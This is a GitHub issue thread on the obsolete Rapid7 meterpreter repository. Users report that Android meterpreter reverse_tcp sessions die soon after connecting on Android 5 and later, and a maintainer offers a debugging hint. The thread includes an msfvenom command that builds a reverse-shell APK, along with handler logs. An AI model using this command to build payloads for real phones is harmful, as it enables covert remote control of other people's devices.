rapid7 / meterpreter

THIS REPO IS OBSOLETE. USE https://github.com/rapid7/metasploit-payloads INSTEAD
Other
325 stars 144 forks source link

Meterpreter Session closes as soon as connected with android #193

Open rooks00 opened 7 years ago

rooks00 commented 7 years ago

apk created using msfvenom -p android/meterpreter/reverse_tcp LHOST=<my public ip> LPORT=4444 R > c.apk

after setting up the msfconsole with all correct details, when I open MainActivity, it sends me to meterpreter but then the session closes in 5-10 seconds.

edit

busterb commented 7 years ago

This is making an assumption that you have the correct details. If you can't type 'sysinfo' on connect, it's likely that the session never actually was connected fully.

rooks00 commented 7 years ago

I tested it and as it turns out, it only works on Android 4.4.4 and below. Not working on higher Android Versions. and I don't get System details when I type sysinfo as soon as session starts.

busterb commented 7 years ago

Ah. We have had some reports about Android 7.0. I have a hunch for a couple of other issues we've also seen in this area.

HsPanda commented 6 years ago

i'm having same issue i believe with android 5.0.1, app crashes as soon as it's launched

kguddu007 commented 6 years ago

i am also having the same issue. i have tried this over Internet. works just fine for android Lollipop and lower versions. I have tried this in android Marshmallow and nougat but session died every time. Started reverse TCP handler on ::1:4444 [] Starting the payload handler... [] Sending stage (67614 bytes) to ::1 [] Meterpreter session 20 opened (::1:4444 -> ::1:58208) at 2017-12-09 15:07:48 +0530 [] Sending stage (67614 bytes) to ::1 [*] Meterpreter session 21 opened (::1:4444 -> ::1:58210) at 2017-12-09 15:07:48 +0530

meterpreter > [*] ::1 - Meterpreter session 20 closed. Reason: Died

if anyone got any solution for this. please let me know